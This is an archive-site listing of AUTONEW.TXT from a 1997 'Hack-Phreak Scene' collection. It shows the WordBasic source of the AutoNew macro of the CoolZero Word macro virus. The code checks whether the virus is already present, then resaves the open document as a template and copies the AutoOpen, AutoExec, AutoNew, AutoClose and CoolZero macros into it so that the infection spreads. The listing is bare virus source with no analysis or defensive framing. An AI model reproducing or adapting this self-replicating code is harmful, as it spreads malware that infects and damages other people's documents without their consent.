home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CCTX0497.ZIP / MVUPDAT9.ZIP / COOLZERO.ZIP / AUTONEW.TXT < prev    next >
Text File  |  1997-03-10  |  664b  |  26 lines
  1. Sub MAIN
  2. REM AutoNew macro
  3. On Error Goto Finish
  4.  
  5. For i = 1 To CountMacros(1, 0)
  6.         If MacroName$(i, 1, 1) = "CoolZero" Then
  7.         VInstalled = 1
  8. End If
  9. Next i
  10.  
  11. If VInstalled = 1 Then
  12.         Goto Finish
  13. Else
  14.         On Error Resume Next
  15.         FileSaveAs .Format = 1
  16.         MacroCopy "Global:AutoOpen", FileName$() + ":AutoOpen"
  17.         MacroCopy "Global:AutoExec", FileName$() + ":AutoExec"
  18.         MacroCopy "Global:AutoNew", FileName$() + ":AutoNew"
  19.         MacroCopy "Global:AutoClose", FileName$() + ":AutoClose"
  20.         MacroCopy "Global:CoolZero", FileName$() + ":CoolZero"
  21.         FileSaveAll 1, 0
  22. End If
  23.  
  24. Finish:
  25. End Sub
  26.